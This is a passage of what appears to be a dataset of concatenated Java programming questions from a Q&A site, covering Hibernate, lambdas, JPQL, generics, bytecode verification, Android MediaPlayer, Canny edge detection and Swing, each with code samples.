Serializable { private static final long serialVersionUID = 1L ; @ Id // out commented the sequence generator @ Column ( name= '' KGB_NR '' ) private long kgbNr ; @ Column ( name= '' KGB_UUID '' ) private String kgbUuid ; // < < == DEFINED AS STRING ! //bi-directional many-to-one association to Ekistnutzer @ ManyToOne @ JoinColumn ( name= '' EKN_NR '' ) private EkistnutzerEntity ekistnutzer ; // Other attributes not related in problem } public int checkEindeutigeUUID ( MyEntity myEntity ) throws Exception { CriteriaBuilder criteriaBuilder = entityManager.getCriteriaBuilder ( ) ; CriteriaQuery < Long > query = criteriaBuilder.createQuery ( Long.class ) ; ParameterExpression < String > kgbUuidParam = criteriaBuilder.parameter ( String.class , `` kgbUuid '' ) ; ParameterExpression < EkistnutzerEntity > ekistnutzerParam = criteriaBuilder.parameter ( EkistnutzerEntity.class , `` ekistnutzer '' ) ; Root < MyEntity > root = query.from ( MyEntity.class ) ; query.select ( criteriaBuilder.count ( root ) ) ; query.where ( criteriaBuilder.equal ( root.get ( `` kgbUuid '' ) , kgbUuidParam ) , criteriaBuilder.equal ( root.get ( `` ekistnutzer '' ) , ekistnutzerParam ) ) ; try { TypedQuery < Long > typedQuery = entityManager.createQuery ( query ) ; typedQuery.setParameter ( `` ekistnutzer '' , myEntity.getEkistnutzer ( ) ) ; typedQuery.setParameter ( `` kgbUuid '' , myEntity.getKgbUuid ( ) ) ; return typedQuery.getSingleResult ( ) .intValue ( ) ; } catch ( Exception e ) { throw e ; } }",How to avoid implicit type conversion from VARCHAR to VARCHAR2 using Hibernate ? +Java,"I am likely trying to be over-efficient , but I have been wondering which of the following two code samples would execute more quickly.Assume that you have a reference to an object which contains an ArrayList of Strings and you want to iterate through that list . Which of the following is more efficient ( even if only marginally so ) ? OrAs you can see , the second loop initializes a reference to the list instead of calling for it every iteration , as it seems the first sample does . Unless this notion is completely incorrect and they both function the same way because the inner workings of Java create their own reference variable.So my question is , which is it ?",for ( String s : foo.getStringList ( ) ) System.out.println ( s ) ; ArrayList < String > stringArray = foo.getStringList ( ) ; for ( String s : stringArray ) System.out.println ( s ) ;,Does shorthand for loop cache the iterable 's reference ? +Java,I 'm using Java 's DOM parser to parse an XML file.let 's say I have the following XMLI like to get the value of 'endPoint ' . I can do it with the following code snippet . ( assuming that I already parsed it with DocumentBuilder ) Is it possible to get a value of a field by a field 's name ? Like ... .Node nValue = nodeList.getByName ( `` endPoint '' ) something like this ... ?,< ? xml version= '' 1.0 '' ? > < config > < dotcms > < endPoint > ip < /endPoint > < /dotcms > < /config > < /xml > NodeList nodeList = this.doc.getElementByTagName ( `` dotcms '' ) ; Node nValue = ( Node ) nodeList.item ( 0 ) ; return nValue.getNodeValue ( ) ;,Document - How to get a tag 's value by its name ? +Java,"I was under the impression that Foo : :new is just syntactic sugar for ( ) - > new Foo ( ) and they should behave identically . However it seems not to be the case . Here 's the background : With Java-8 I use a third party library which has an Optional < Foo > foo and this offending line : JCacheTimeZoneCache uses in its constructor something from the optional JCache library , which I have not in my class path . With a debugger I verified that foo is not null , so it should actually never instantiate a JCacheTimeZoneCache instance and therefore the missing JCache library should not be an issue . However it does explode with stacktrace complaining about the missing JCache library : First I am surprised by this error , as the code does not instantiate JCacheTimeZoneCache at all . Ok , putting JCache into the class path would fix that . But the author of the library did a very different fix : Now I 'm totally surprised ? I have actually two questions : Why did JCacheTimeZoneCache : :new cause that exception in the first place , when the constructor was never called ? Why did ( ) - > new JCacheTimeZoneCache ( ) fix that issue ?",foo.orElseGet ( JCacheTimeZoneCache : :new ) ; Caused by : java.lang.BootstrapMethodError : java.lang.IllegalAccessError : no such constructor : net.fortuna.ical4j.util.JCacheTimeZoneCache. < init > ( ) void/newInvokeSpecial at net.fortuna.ical4j.model.TimeZoneLoader.cacheInit ( TimeZoneLoader.java:275 ) ~ [ ical4j-3.0.0.jar : na ] at net.fortuna.ical4j.model.TimeZoneLoader. < init > ( TimeZoneLoader.java:81 ) ~ [ ical4j-3.0.0.jar : na ] at net.fortuna.ical4j.model.TimeZoneRegistryImpl. < init > ( TimeZoneRegistryImpl.java:125 ) ~ [ ical4j-3.0.0.jar : na ] at net.fortuna.ical4j.model.TimeZoneRegistryImpl. < init > ( TimeZoneRegistryImpl.java:116 ) ~ [ ical4j-3.0.0.jar : na ] at net.fortuna.ical4j.model.DefaultTimeZoneRegistryFactory.createRegistry ( DefaultTimeZoneRegistryFactory.java:48 ) ~ [ ical4j-3.0.0.jar : na ] at net.fortuna.ical4j.data.CalendarBuilder. < init > ( CalendarBuilder.java:105 ) ~ [ ical4j-3.0.0.jar : na ] at de.malkusch.trashcollection.infrastructure.schedule.ical.VEventRepository.downloadVEvents ( VEventRepository.java:46 ) ~ [ classes/ : na ] at de.malkusch.trashcollection.infrastructure.schedule.ical.VEventRepository. < init > ( VEventRepository.java:35 ) ~ [ classes/ : na ] at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) ~ [ na:1.8.0_172 ] at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:62 ) ~ [ na:1.8.0_172 ] at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) ~ [ na:1.8.0_172 ] at java.lang.reflect.Constructor.newInstance ( Constructor.java:423 ) ~ [ na:1.8.0_172 ] at org.springframework.beans.BeanUtils.instantiateClass ( BeanUtils.java:170 ) ~ [ spring-beans-5.0.7.RELEASE.jar:5.0.7.RELEASE ] ... 80 common frames omittedCaused by : java.lang.IllegalAccessError : no such constructor : net.fortuna.ical4j.util.JCacheTimeZoneCache. < init > ( ) void/newInvokeSpecial at java.lang.invoke.MethodHandleNatives.linkMethodHandleConstant ( MethodHandleNatives.java:483 ) ~ [ na:1.8.0_172 ] ... 93 common frames omittedCaused by : java.lang.NoClassDefFoundError : javax/cache/configuration/Configuration at java.lang.invoke.MethodHandleNatives.resolve ( Native Method ) ~ [ na:1.8.0_172 ] at java.lang.invoke.MemberName $ Factory.resolve ( MemberName.java:975 ) ~ [ na:1.8.0_172 ] at java.lang.invoke.MemberName $ Factory.resolveOrFail ( MemberName.java:1000 ) ~ [ na:1.8.0_172 ] at java.lang.invoke.MethodHandles $ Lookup.resolveOrFail ( MethodHandles.java:1394 ) ~ [ na:1.8.0_172 ] at java.lang.invoke.MethodHandles $ Lookup.linkMethodHandleConstant ( MethodHandles.java:1750 ) ~ [ na:1.8.0_172 ] at java.lang.invoke.MethodHandleNatives.linkMethodHandleConstant ( MethodHandleNatives.java:477 ) ~ [ na:1.8.0_172 ] ... 93 common frames omittedCaused by : java.lang.ClassNotFoundException : javax.cache.configuration.Configuration at java.net.URLClassLoader.findClass ( URLClassLoader.java:381 ) ~ [ na:1.8.0_172 ] at java.lang.ClassLoader.loadClass ( ClassLoader.java:424 ) ~ [ na:1.8.0_172 ] at sun.misc.Launcher $ AppClassLoader.loadClass ( Launcher.java:349 ) ~ [ na:1.8.0_172 ] at java.lang.ClassLoader.loadClass ( ClassLoader.java:357 ) ~ [ na:1.8.0_172 ] ... 99 common frames omitted foo.orElseGet ( ( ) - > new JCacheTimeZoneCache ( ) ) ;,What 's the difference between Foo : :new and ( ) - > new Foo ( ) ? +Java,"When I am fetching database data using JPQL query using spring boot and trying to loop the data , I am getting the following error , My repository query like the following , And I am calling the query function like the following , By using the result object , I am trying to loop like the following , My Model class like the following , Why I am getting these type of errors ?","{ `` message '' : `` [ Ljava.lang.Object ; can not be cast to com.spacestudy.model.RoomCPCMapping '' , '' error '' : `` Internal Server Error '' , '' path '' : `` /spacestudy/rockefeller/survey/surveyform/occupant/getClientCPCWithPercentage '' } @ Query ( `` SELECT u.nCCPCode , u.nPercent FROM RoomCPCMapping u JOIN u.clientCPC ur where u.nRoomAllocationId= : nRoomAllocationId '' ) List < RoomCPCMapping > findNCCPCodeByNRoomAllocationID ( @ Param ( value= '' nRoomAllocationId '' ) Integer nRoomAllocationId ) ; List < RoomCPCMapping > roomCpcMappingCodeObj = roomCPCMappingRepositoryObj.findNCCPCodeByNRoomAllocationID ( nRoomAllocationID ) ; for ( RoomCPCMapping rpcLoopObj : roomCpcMappingCodeObj ) { if ( clientCpcCodeMappingLoopObj.nClientCPCMappingId==rpcLoopObj.getnCCPCode ( ) ) { clientCpcCodeMappingLoopObj.nPercentage=rpcLoopObj.nPercent ; } } @ Entity @ Table ( name= '' roomccpcmapping '' ) public class RoomCPCMapping implements Serializable { /** * */private static final long serialVersionUID = 1L ; @ Id @ GeneratedValue ( strategy = GenerationType.SEQUENCE , generator = `` roomccpcmapping_seq_generator '' ) @ SequenceGenerator ( name = `` roomccpcmapping_seq_generator '' , sequenceName = `` roomccpcmapping_seq '' , allocationSize=1 ) @ Column ( name= '' nroom_ccpc_mapping_id '' , columnDefinition= '' serial '' ) public Integer nRoomCcpcMappingId ; @ Column ( name= '' nroom_allocation_id '' ) public Integer nRoomAllocationId ; @ Column ( name= '' nccp_code '' ) public Integer nCCPCode ; @ Column ( name= '' npercent '' ) public Integer nPercent ; @ Column ( name= '' nresponsible_person_id '' ) public Integer nResponsiblePersonId ; @ ManyToOne ( optional = true , cascade = { CascadeType.MERGE } ) @ JoinColumn ( name = `` nccp_code '' , insertable = false , updatable = false ) public ClientCostPoolCodes clientCPC ; public Integer getnRoomCcpcMappingId ( ) { return nRoomCcpcMappingId ; } public void setnRoomCcpcMappingId ( Integer nRoomCcpcMappingId ) { this.nRoomCcpcMappingId = nRoomCcpcMappingId ; } public Integer getnRoomAllocationId ( ) { return nRoomAllocationId ; } public void setnRoomAllocationId ( Integer nRoomAllocationId ) { this.nRoomAllocationId = nRoomAllocationId ; } public Integer getnCCPCode ( ) { return nCCPCode ; } public void setnCCPCode ( Integer nCCPCode ) { this.nCCPCode = nCCPCode ; } public Integer getnPercent ( ) { return nPercent ; } public void setnPercent ( Integer nPercent ) { this.nPercent = nPercent ; } public Integer getnResponsiblePersonId ( ) { return nResponsiblePersonId ; } public void setnResponsiblePersonId ( Integer nResponsiblePersonId ) { this.nResponsiblePersonId = nResponsiblePersonId ; } public ClientCostPoolCodes getClientCPC ( ) { return clientCPC ; } public void setClientCPC ( ClientCostPoolCodes clientCPC ) { this.clientCPC = clientCPC ; } public RoomCPCMapping ( Integer nRoomCcpcMappingId , Integer nRoomAllocationId , Integer nCCPCode , Integer nPercent , Integer nResponsiblePersonId , ClientCostPoolCodes clientCPC ) { super ( ) ; this.nRoomCcpcMappingId = nRoomCcpcMappingId ; this.nRoomAllocationId = nRoomAllocationId ; this.nCCPCode = nCCPCode ; this.nPercent = nPercent ; this.nResponsiblePersonId = nResponsiblePersonId ; this.clientCPC = clientCPC ; } public RoomCPCMapping ( ) { } }",java.lang.Object ; can not be cast to model class : error in Spring Boot +Java,"Here 's a simple example that demonstrates a type-erasure-related issue I am running into . I have a class like this : Then I have this implementation : I ca n't return Map < String , List < Thing > > .class , since that 's not even valid syntactically . I tried making the generic type-parameter in the subtype to be HashMap < String , List < Thing > > and then returning new HashMap < String , List < Thing > > ( ) .getClass ( ) , but that does n't work because the return type of Class < T > # getClass ( ) is Class < ? extends T > . I looked at TypeToken from Guava , and the getRawType method seemed promising , but it returns Class < ? super T > .I have a workaround for the time being that looks like this : and I just use ThingListMap as the generic type-parameter.Another possible workaround is to perform a forced cast : Is there a more-elegant way to do this ? EDIT : In response to one of the answers , I can not change the signature of the handledType method since I do not own or control its source .","public abstract class AbstractHandler < T > { ... public abstract Class < T > handledType ( ) ; } public class ConcreteHandler extends AbstractHandler < Map < String , List < Thing > > > { @ Override public Class < Map < String , List < Thing > > > handledType ( ) { //what do I return here ? ! } } public class ThingListMap { private Map < String , List < Thing > > thingListMap ; ... } public Class < Map < String , List < Thing > > > handledType ( ) { return ( Class < Map < String , List < Thing > > > ) new HashMap < String , List < Thing > > ( ) .getClass ( ) ; }",Return a Class instance with its generic type +Java,Can anyone tell me why this is working well : When i want to get the data from user like : Why it didnt split like in first example ?,String wanttosplit = `` asdf ... 23\n..asd12 '' ; String [ ] i = wanttosplit.split ( `` \n '' ) ; output are : i [ 0 ] = asdf ... 23i [ 1 ] = ..asd12 import java.util.Scanner ; Scanner scan = new Scanner ( System.in ) ; String wanttosplit = scan.next ( ) ; //user enter asdf ... 23\n..asd12 on the keyboardString [ ] i = wanttosplit.split ( `` \n '' ) ; output are : i [ 0 ] = asdf ... 23\n..asd12,How split `` \n '' from user input ? +Java,I 've modified the line 15 of the bytecode below and changed it form invokevirtual to invokespecial ( JAVA 8 ) . Unfortunately I get a verify error ( Bad type on operand stack ) I know that the value of the operand stack must be a subclass of the class specified in the objectref but in this case # 18 is Type and not Type $ ClassType like the error suggest . Or to say it differently should n't the stackmapframe at line 15 have Type and not Type $ ClassType in stack [ 0 ] ? What am I missing ? edit : stackmapframes are the same before and after the change . ( in case ASM COMPUTE FRAMES which I used would changed them ) Here 's is the code . Type $ ClassType is a direct subclass of Type and com/sun/tools/javac/code/Type $ ClassType is the current class which allows us to call a superclass ( like Type ) with invokespecial,"Exception Details : Location : com/sun/tools/javac/code/Type $ ClassType.toString ( ) Ljava/lang/String ; @ 15 : invokespecial Reason : Type 'com/sun/tools/javac/code/Type ' ( current frame , stack [ 0 ] ) is not assignable to 'com/sun/tools/javac/code/Type $ ClassType ' Current Frame : bci : @ 15 flags : { } locals : { 'com/sun/tools/javac/code/Type $ ClassType ' , 'java/lang/StringBuilder ' } stack : { 'com/sun/tools/javac/code/Type ' , 'com/sun/tools/javac/code/TypeTag ' } ... Stackmap Table : append_frame ( @ 71 , Object [ # 108 ] ) same_frame ( @ 85 ) same_frame ( @ 121 ) public class com.sun.tools.javac.code.Type $ ClassType extends com.sun.tools.javac.code.Type implements javax.lang.model.type.DeclaredType ... . public java.lang.String toString ( ) ; descriptor : ( ) Ljava/lang/String ; flags : ACC_PUBLIC Code : stack=4 , locals=2 , args_size=1 0 : new # 108 // class java/lang/StringBuilder 3 : dup 4 : invokespecial # 17 // Method java/lang/StringBuilder . `` < init > '' : ( ) V 7 : astore_1 8 : aload_0 9 : invokevirtual # 13 // Method com/sun/tools/javac/code/Type $ ClassType.getEnclosingType : ( ) Lcom/sun/tools/javac/code/Type ; 12 : getstatic # 10 // Field com/sun/tools/javac/code/TypeTag.CLASS : Lcom/sun/tools/javac/code/TypeTag ; 15 : invokespecial # 18 // Method com/sun/tools/javac/code/Type.hasTag : ( Lcom/sun/tools/javac/code/TypeTag ; ) Z 18 : ifeq 71 ... .. StackMapTable : number_of_entries = 3 frame_type = 252 /* append */ offset_delta = 71 locals = [ class java/lang/StringBuilder ] frame_type = 13 /* same */ frame_type = 35 /* same */",Invokespecial Verify Error : Type is not assignable +Java,"I have the following example : IDEONEWhy the method of the base class is called , but not of the derived ? The signatures of the handle ( ) methods are perfectly the same . I know that static methods do n't inherit , but should n't a compile-time error be thrown in my case then ? Could someone explain that behavior ?",class Ideone { public static void main ( String [ ] args ) throws java.lang.Exception { A < ConcreteErrorHandler > a = new A < ConcreteErrorHandler > ( ) ; a.m ( ) ; //Exception here ! } public static class AbstractErrorHandler { public static void handle ( ) { throw new UnsupportedOperationException ( `` Not implemented '' ) ; } } public static class ConcreteErrorHandler extends AbstractErrorHandler { public static void handle ( ) { System.out.println ( `` Concrete handler '' ) ; } } public static class A < T extends AbstractErrorHandler > { public void m ( ) { T.handle ( ) ; } } },Calling base and derived static methods of a type variable +Java,"I am currently building an elasticsearch plugin which exposes a REST endpoint ( starting from this post ) I can call my endpoint with curl like this : My question is how can I call the same endpoint from java , using a transport client ? Could you point me to some tutorial ?","curl -X POST 'http : //my-es:9200/lt-dev_terminology_v1/english/_terminology ? pretty=-d ' { `` segment '' : `` database '' , `` analyzer '' : `` en_analyzer '' }",Elasticsearch 1.3 . - Call custom REST endpoint from Java +Java,"For my very first Java project I 'm trying to make a simple text-based game . It seems like the or pipes do not work and when I try to enter something in after it does n't work ; I have to restart it.Start and Begin works , but having the first letter lowercase like I used || for does n't . When I use those I have to restart it because I ca n't type anything , but I clearly have or pipes that says to use either one . Does anyone have any idea what is causing this ?",public void GameStart ( ) { String playerName = `` Player '' ; String Command = `` Choice '' ; System.out.println ( `` Type Start to start game ! `` ) ; if ( in.nextLine ( ) .equals ( `` Start '' ) || in.nextLine ( ) .equals ( `` start '' ) ) { Help ( ) ; print ( `` Type Begin to start game : D '' ) ; if ( in.nextLine ( ) .equals ( `` Begin '' ) || in.nextLine ( ) .equals ( `` begin '' ) ) { System.out.println ( `` Who are you ? `` ) ;,Are the or pipes not working ? +Java,Does anyone have insights on why this code works on java 8 but not on java 9I understand we can specify the type while doing toArray instead of casting it . But I found this issue while debugging one of our dependency ( hive-metastore-2.1.1 HiveMetaStoreClient line 274 ) . So I do n't have the liberty to change the code and we are running java 9 . Is there a way to get around this ? Is this a problem with java 9 ( since it seems like a breaking change ) or just file a bug in the hive repo .,"String [ ] strings = ( String [ ] ) Arrays.asList ( `` foo '' , `` bar '' ) .toArray ( ) ; for ( String string : strings ) { System.out.println ( string ) ; }",array cast Java 8 vs Java 9 +Java,"Used ViewPager for images sliding , each image onclick stream different MP3.app including 50 pages ( images ) & 50 different mp3 , all mp3 stored on app itself.ex . First-page stream MP3 ( one ) , second-page stream MP3 ( two ) and so on till page fifty.FIRST : its work fine just only one issue which is : SECOND : the app contain 50 pages and 50 different MP3 , does i need to repeat the mediaplayer code 50 times which i already did , or there is better approach to do that in single code applied to all 50 mediaplayer MP3 , as all has the same function cycle.any advice please and how to apply it in coding .MainActivity : ImageAdapter : I 'm new to android , I tried to fix it but with no success , its simple app just includes MainActivity & ImageAdapter.i tried the below code also still the issue not resolved : UPDATE : In any page : let ’ s say page ( one ) -- - > click to play MP3 -- - > ( playing ) -- - > click to pause MP3 -- - > ( paused ) -- - > swipe to any page Rt or Lf -- - > ( swiped to page ( two ) for example ) -- - > click to play MP3 on page ( two ) -- - > ( playing ) -- - > click to pause MP3 on page ( two ) -- - > ( paused ) -- - > ( all previous onclick action working correctly ) -- - > click to resume playing MP3 in page ( two ) which already in paused state ==== > BUT mistakenly when you click the image in page ( two ) to resume playing the MP3 , your finger not straight , its slightly tilted so the finger click lead to ( click on page ( two ) and in the same time swipe to page ( three ) ==== > here is the issue the page ( three ) MP3 start playing by itself from the beginning .I want if this happened occasionally or mistakenly not to start playing the MP3 in page ( three ) until I click the image in page ( three ) then start playing the MP3.any help will be really appreciated .","In any page -- > clicking the image -- > PLAY MP3 ( one ) -- > click again -- > PAUSE MP3 -- > in paused state of MP3 ( one ) SWIPE to next page -- > -- > in next page -- > clicking the image -- > PLAY MP3 ( two ) -- > click to pause the MP3 ( two ) -- > it does n't respond to first click , it respond to second click to pause MP3 ( two ) . public class MainActivity extends Activity { private ViewPager mViewPager ; MediaPlayer mp ; private boolean isPaused ; @ Overridepublic void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; mViewPager= ( ViewPager ) findViewById ( R.id.view_pager ) ; ImageAdapter adapter = new ImageAdapter ( this ) ; mViewPager.setAdapter ( adapter ) ; final GestureDetector tapGestureDetector = new GestureDetector ( this , new TapGestureListener ( ) ) ; mViewPager.setOnTouchListener ( new View.OnTouchListener ( ) { public boolean onTouch ( View v , MotionEvent event ) { tapGestureDetector.onTouchEvent ( event ) ; return false ; } } ) ; } private class TapGestureListener extends GestureDetector.SimpleOnGestureListener { @ Override public boolean onSingleTapConfirmed ( MotionEvent e ) { if ( mViewPager.getCurrentItem ( ) == 0 ) { if ( mp ! = null ) { if ( isPaused ) { mp.start ( ) ; isPaused = false ; } else { mp.pause ( ) ; isPaused = true ; } } else { mp = MediaPlayer.create ( MainActivity.this , R.raw.aa ) ; mp.start ( ) ; } } if ( mViewPager.getCurrentItem ( ) == 1 ) { if ( mp ! = null ) { if ( isPaused ) { mp.start ( ) ; isPaused = false ; } else { mp.pause ( ) ; isPaused = true ; } } else { mp = MediaPlayer.create ( MainActivity.this , R.raw.bb ) ; mp.start ( ) ; } } if ( mViewPager.getCurrentItem ( ) == 2 ) { if ( mp ! = null ) { if ( isPaused ) { mp.start ( ) ; isPaused = false ; } else { mp.pause ( ) ; isPaused = true ; } } else { mp = MediaPlayer.create ( MainActivity.this , R.raw.cc ) ; mp.start ( ) ; } } if ( mViewPager.getCurrentItem ( ) == 3 ) { if ( mp ! = null ) { if ( isPaused ) { mp.start ( ) ; isPaused = false ; } else { mp.pause ( ) ; isPaused = true ; } } else { mp = MediaPlayer.create ( MainActivity.this , R.raw.dd ) ; mp.start ( ) ; } } //AND SO ON FOR 50 PAGES// mViewPager.setOnPageChangeListener ( new ViewPager.OnPageChangeListener ( ) { @ Override public void onPageSelected ( int position ) { if ( mp == null ) { return ; } mp.release ( ) ; mp = null ; } @ Override public void onPageScrollStateChanged ( int arg0 ) { // TODO Auto-generated method stub } @ Override public void onPageScrolled ( int arg0 , float arg1 , int arg2 ) { // TODO Auto-generated method stub } } ) ; mp.setOnCompletionListener ( new MediaPlayer.OnCompletionListener ( ) { public void onCompletion ( MediaPlayer m ) { Toast.makeText ( MainActivity.this , `` COMPLETED '' , Toast.LENGTH_LONG ) .show ( ) ; // Set the MainActivity member to null MainActivity.this.mp = null ; } } ) ; return super.onSingleTapConfirmed ( e ) ; } } } public class ImageAdapter extends PagerAdapter { Context context ; private int [ ] GalImages = new int [ ] { R.drawable.a , R.drawable.b , R.drawable.c , R.drawable.d , } ; ImageAdapter ( Context context ) { this.context=context ; } @ Overridepublic int getCount ( ) { return GalImages.length ; } @ Overridepublic boolean isViewFromObject ( View view , Object object ) { return view == ( ( ImageView ) object ) ; } @ Overridepublic Object instantiateItem ( ViewGroup container , int position ) { ImageView imageView = new ImageView ( context ) ; int padding = context.getResources ( ) .getDimensionPixelSize ( R.dimen.activity_horizontal_margin ) ; imageView.setPadding ( padding , padding , padding , padding ) ; imageView.setScaleType ( ImageView.ScaleType.CENTER ) ; imageView.setImageResource ( GalImages [ position ] ) ; ( ( ViewPager ) container ) .addView ( imageView , 0 ) ; return imageView ; } @ Overridepublic void destroyItem ( ViewGroup container , int position , Object object ) { ( ( ViewPager ) container ) .removeView ( ( ImageView ) object ) ; } } mViewPager.setOnPageChangeListener ( new ViewPager.OnPageChangeListener ( ) { @ Override public void onPageSelected ( int position ) { if ( mp ! = null ) { if ( mp.isPlaying ( ) ) { mp.stop ( ) ; } mp.release ( ) ; mp = null ; } } @ Override public void onPageScrollStateChanged ( int arg0 ) { // TODO Auto-generated method stub } @ Override public void onPageScrolled ( int arg0 , float arg1 , int arg2 ) { // TODO Auto-generated method stub } } ) ;",Mediaplayer respond to second click to pause +Java,My program has this line : The function being passed to reduce is not associative . Reduce 's documentation says that the function passed must be associative.How can I rewrite this as an expression which does n't break reduce 's contract ?,"Function < String , Integer > f = ( String s ) - > s.chars ( ) .reduce ( 0 , ( a , b ) - > 2 * a + b ) ;",Passing a non-associative function to reduce +Java,Is it correct to create a thread and call its start ( ) method inside a class ' constructor as done here ?,"public class Server implements Runnable { private ServerSocket server ; public Server ( int port ) { try { //Opens a new server server = new ServerSocket ( port ) ; } catch ( IOException ioe ) { ioe.printStackTrace ( ) ; } new Thread ( this , `` Server '' ) .start ( ) ; } @ Override public void run ( ) { } }",calling new thread inside is constructor +Java,"I am writing Canny 's Algorithm , and I seem to have an issue with hysteresis . The Thresholds Appears to process , however my hysteresis does not seem to function at all . As well as method remove weak for some odd reason . Please help ! Low @ 10High @ 75After Hysteresis , with problem A , edges were not strengthen with method performHysteresis ; B weak non-edges are not removed with method removeWeak.Source code for the method as follows :","import java.awt.image.BufferedImage ; import java.awt.image.ConvolveOp ; import java.awt.image.Kernel ; class CannyMethod { private static final float [ ] sobelX = { 1.0f , 0.0f , -1.0f , 2.0f , 0.0f , -2.0f , 1.0f , 0.0f , -1.0f } ; private static final float [ ] sobelY = { 1.0f , 2.0f , 1.0f , 0.0f , 0.0f , 0.0f , -1.0f , -2.0f , -1.0f } ; private static int low , high ; public CannyMethod ( ) { } private ConvolveOp getSobel ( boolean xy ) { Kernel kernel ; if ( xy ) kernel = new Kernel ( 3 , 3 , sobelX ) ; else kernel = new Kernel ( 3 , 3 , sobelY ) ; return new ConvolveOp ( kernel , ConvolveOp.EDGE_ZERO_FILL , null ) ; } public BufferedImage getCannyFilter ( BufferedImage img ) { return getCannyFilter ( img , low , high ) ; } public BufferedImage getCannyFilter ( BufferedImage img , int l , int h ) { int width = img.getWidth ( ) ; int height = img.getHeight ( ) ; low = l ; high = h ; int size = width * height ; int [ ] x = new int [ size ] ; int [ ] y = new int [ size ] ; int [ ] pixelM = new int [ size ] ; double [ ] pixelD = new double [ size ] ; int [ ] pixelNew = new int [ size ] ; BufferedImage sobelXImg = getSobel ( true ) .filter ( img , null ) ; BufferedImage sobelYImg = getSobel ( false ) .filter ( img , null ) ; // returns arrays for x and y direction after convultion with Sobel Operator sobelXImg.getRaster ( ) .getPixels ( 0 , 0 , width , height , x ) ; sobelYImg.getRaster ( ) .getPixels ( 0 , 0 , width , height , y ) ; // Calculates Gradient and Magnitude for ( int i = 0 ; i < size ; i++ ) { pixelM [ i ] = ( int ) Math.hypot ( x [ i ] , y [ i ] ) ; pixelD [ i ] = Math.atan2 ( ( double ) y [ i ] , ( double ) x [ i ] ) ; } //Operations for Canny Algorithm takes magnitude and gradient and input into new array fo WritableRaster normalizeDirection ( pixelD ) ; nonMaximaSupression ( pixelM , pixelD , pixelNew , width , height ) ; performHysteresis ( pixelNew , width ) ; removeWeak ( pixelNew ) ; BufferedImage result = new BufferedImage ( width , height , BufferedImage.TYPE_BYTE_GRAY ) ; result.getRaster ( ) .setPixels ( 0 , 0 , width , height , pixelNew ) ; return result ; } private void normalizeDirection ( double [ ] dArray ) { //Round degrees double pi = Math.PI ; for ( double i : dArray ) { if ( i < pi/8d & & i > = -pi/8d ) i = 0 ; else if ( i < 3d*pi/8d & & i > = pi/8d ) i = 45 ; else if ( i < -3d*pi/8d || i > = 3d*pi/8d ) i = 90 ; else if ( i < -pi/8d & & i > = -3d*pi/8d ) i = 135 ; } } private void nonMaximaSupression ( int [ ] pixelM , double [ ] pixelD , int [ ] pixelNew , int width , int height ) { //non-Maxima Supression//Since array is not in 2-D , positions are calulated with width - functions properly for ( int i = 0 ; i < pixelNew.length ; i++ ) { if ( i % width == 0 || ( i + 1 ) % width == 0 || i < = width || i > = width * height - 1 ) pixelNew [ i ] = 0 ; else { switch ( ( int ) pixelD [ i ] ) { case 0 : if ( pixelM [ i ] > pixelM [ i+1 ] & & pixelM [ i ] > pixelM [ i-1 ] ) setPixel ( i , pixelM [ i ] , pixelNew ) ; else pixelNew [ i ] = 0 ; break ; case 45 : if ( pixelM [ i ] > pixelM [ i+ ( width-1 ) ] & & pixelM [ i ] > pixelM [ i- ( width-1 ) ] ) setPixel ( i , pixelM [ i ] , pixelNew ) ; else pixelNew [ i ] = 0 ; break ; case 90 : if ( pixelM [ i ] > pixelM [ i+width ] & & pixelM [ i ] > pixelM [ i-width ] ) setPixel ( i , pixelM [ i ] , pixelNew ) ; else pixelNew [ i ] = 0 ; break ; case 135 : if ( pixelM [ i ] > pixelM [ i+width ] & & pixelM [ i ] > pixelM [ i-width ] ) setPixel ( i , pixelM [ i ] , pixelNew ) ; else pixelNew [ i ] = 0 ; break ; default : pixelNew [ i ] = 0 ; } } } } private void performHysteresis ( int [ ] array , int width ) { //performs hysteresis int [ ] temp ; for ( int i = width ; i < array.length - width ; i++ ) { if ( i % width == 0 || ( i + 1 ) % width == 0 ) { } else { if ( array [ i ] == 255 ) { //found strong one , track surrounding weak ones //temp is the positions of surrounding pixels temp = new int [ ] { i - ( width + 1 ) , i - width , i - ( width - 1 ) , i - 1 , i + 1 , i + ( width - 1 ) , i + width , i + ( width + 1 ) } ; trackWeak ( array , temp , width ) ; } } } } private void trackWeak ( int [ ] array , int [ ] pos , int width ) { int [ ] temp ; for ( int i : pos ) { if ( array [ i ] > 0 & & array [ i ] < 255 ) { array [ i ] = 255 ; //set weak one to strong one if ( i % width == 0 || ( i + 1 ) % width == 0 ) { } else { //temp is the positions of surrounding pixels temp = new int [ ] { i - ( width + 1 ) , i - width , i - ( width - 1 ) , i - 1 , i + 1 , i + ( width - 1 ) , i + width , i + ( width + 1 ) } ; trackWeak ( array , temp , width ) ; } } } } private void removeWeak ( int [ ] array ) { //remove remaining weak ones from lew Threshold for ( int i : array ) { if ( i < 255 ) { i = 0 ; } } } private void setPixel ( int pos , int value , int [ ] pixelNew ) { if ( value > high ) pixelNew [ pos ] = 255 ; else if ( value > low ) pixelNew [ pos ] = 128 ; else pixelNew [ pos ] = 0 ; } public void setThreshold ( int l , int h ) { low = l ; high = h ; } }",Canny 's Algorithm : Hysteresis Mal-function +Java,"I want to paint an icon when user 's input is invalid . I 've found an example by Oracle and modified it for my purposes . The painting of Icon works correctly but when I change the value to correct the icon goes not completly invisible : the part which is drawn over the JPanel is still displayed.Here is my code : Here is the screens : Initial all is correctWhen I paint invalid Icon all is still correctBut when the value goes correct only the text field will be repaintedHow can I force the JPanel to repaint ? ? ? P.S . I 've already found an approach with JLayeredPane which works correct , but I want to know what is wrong in my code ?","import java.awt.AlphaComposite ; import java.awt.Graphics ; import java.awt.Graphics2D ; import java.awt.GridBagConstraints ; import java.awt.GridBagLayout ; import java.awt.Insets ; import java.awt.RenderingHints ; import java.awt.image.BufferedImage ; import java.text.NumberFormat ; import javax.swing.Icon ; import javax.swing.ImageIcon ; import javax.swing.JComponent ; import javax.swing.JFormattedTextField ; import javax.swing.JFrame ; import javax.swing.JLabel ; import javax.swing.JLayer ; import javax.swing.JPanel ; import javax.swing.UIManager ; import javax.swing.plaf.LayerUI ; public class FieldValidator extends JPanel { private static final int ICON_SIZE = 